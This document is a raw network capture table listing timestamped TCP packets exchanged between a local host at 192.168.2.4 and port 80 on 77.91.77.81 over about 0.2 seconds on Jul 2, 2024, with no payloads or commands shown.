Jul 2, 2024 15:26:14.818536997 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.818536997 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.818552971 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.818567038 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.818589926 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.818589926 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.818609953 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.819472075 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.819483995 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.819509029 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.819518089 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.819535017 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.819536924 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.819536924 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.819545984 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.819554090 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.819597006 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.820306063 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.820322990 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.820341110 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.820349932 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.820367098 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.820375919 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.820386887 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.820386887 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.820391893 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.820406914 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.820424080 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.820457935 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.820457935 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.821151972 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.821163893 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.821209908 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.837359905 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.837435007 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.837446928 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.837469101 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.837469101 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.837502003 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.837657928 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.837692976 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.837707043 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.837723017 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.837730885 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.837779999 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.838066101 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.838078022 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.838092089 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.838108063 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.838123083 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.838135958 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.838135958 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.838140011 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.838196993 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.838196993 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.838799953 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.838839054 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.838856936 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.838884115 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.871138096 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.871200085 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.871222019 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.871238947 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.871298075 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.871417999 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.871471882 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.871485949 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.871505022 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.871515989 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.871526003 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.871526003 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.871536970 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.871573925 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.871602058 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.871952057 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.872072935 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.872093916 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.872104883 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.872123003 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.872132063 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.872148991 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.872160912 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.872173071 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.872173071 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.872174025 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.872193098 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.872281075 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.872910023 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.872920990 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.872940063 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.872951031 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.872971058 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.872972012 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.872983932 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.873011112 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.873012066 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.873096943 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.899849892 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.899893045 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.899900913 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.899905920 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.899943113 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.900068998 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.900079012 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.900094032 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.900104046 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.900132895 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.900132895 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.900183916 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.900492907 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.900566101 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.900576115 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.900579929 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.900584936 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.900589943 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.900600910 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.900609016 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.900650978 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.900650978 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.901211977 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.901222944 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.901500940 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.905312061 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.905385971 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.905396938 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.905431032 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.905431032 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.905468941 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.905550957 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.905663967 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.905674934 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.905693054 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.905697107 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.905697107 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.905702114 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.905731916 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.905739069 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.905739069 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.905766010 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.905828953 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.906116009 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.906126022 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.906142950 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.906152010 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.906167984 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.906177044 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.906187057 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.906187057 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.906222105 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.906222105 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.906685114 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.906694889 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.906711102 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.906719923 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.906737089 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.906744957 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.906744957 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.906747103 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.906764030 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.906775951 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.906780005 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.906780005 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.906940937 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.907397985 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.907412052 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.907428026 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.907437086 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.907454967 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.907454967 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.907459974 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.907469988 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.907484055 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.907500982 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.907506943 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.907506943 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.907511950 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.907526970 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.907565117 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.907565117 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.908008099 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.908365011 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.908375978 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.908394098 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.908402920 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.908417940 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.908418894 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.908430099 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.908442974 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.908452034 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.908462048 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.908473969 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.908499002 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.908507109 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.908507109 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.908552885 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.908552885 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.909288883 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.909300089 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.909317017 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.909337044 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.909347057 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.909356117 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.909356117 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.909363031 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.909373045 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.909389973 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.909399986 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.909409046 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.909409046 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.909418106 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.909426928 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.909439087 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.909482956 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.910336971 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.910348892 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.910366058 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.910376072 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.910392046 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.910393000 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.910393000 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.910403013 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.910418987 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.910432100 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.910439968 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.910439968 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.910444021 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.910458088 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.910473108 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.910484076 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.910484076 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.910517931 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.930524111 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.930586100 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.930597067 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.930605888 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.930629969 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.930855036 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.930866003 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.930890083 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.930903912 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.930944920 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.931257963 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.931269884 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.931287050 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.931296110 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.931313038 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.931324005 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.931334972 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.931334972 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.931381941 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.931935072 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.931946993 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.932003975 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.963821888 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.963864088 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.963876963 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.963890076 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.963943958 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.964119911 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.964131117 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.964147091 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.964163065 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.964174032 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.964174032 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.964186907 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.964206934 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.964592934 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.964603901 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.964618921 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.964629889 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.964647055 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.964653969 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.964665890 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.964696884 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.964696884 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.964764118 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.965333939 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.965346098 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.965361118 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.965373993 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.965389967 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.965395927 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.965395927 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.965428114 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.965728998 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.965740919 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.965754032 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.965771914 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.965776920 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.965817928 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.965852976 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.966142893 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.966244936 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.992806911 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.992825985 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.992851019 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.992882013 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.992948055 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.992959976 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.992976904 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.992988110 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.992988110 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.993032932 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.993208885 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.993220091 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.993249893 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.993262053 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.993262053 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.993262053 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.993279934 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.993292093 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.993305922 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.993305922 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.993335009 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.993967056 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.993982077 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.994029999 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.994029999 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.997853041 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.997914076 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.997925997 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.997936964 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.997980118 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.998023033 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.998116970 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.998127937 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.998146057 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.998188019 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.998188019 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.998346090 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.998358011 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:14.998398066 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:14.998398066 CEST	49731	80	192.168.2.4	77.91.77.81
